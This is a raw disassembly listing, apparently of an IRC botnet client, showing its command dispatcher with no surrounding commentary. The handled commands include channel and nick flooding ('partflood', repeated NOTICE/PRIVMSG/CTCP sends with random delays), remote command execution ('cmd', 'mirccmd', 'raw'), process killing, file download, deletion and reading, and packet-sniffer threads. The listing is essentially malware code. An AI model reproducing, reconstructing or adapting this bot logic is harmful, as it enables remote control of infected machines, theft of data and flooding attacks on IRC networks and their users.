		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B534
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B530
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B518
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B504
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 26A0DE3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B494
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B480
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B47C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 26A0DE3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B454
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h

loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B40C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B40C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D403C

loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB03C

loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA75C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B37C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------

loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B27C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]

loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B24C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405C30

loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------

loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset dword_42B210
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1D4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B1A8
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B180
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]

loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
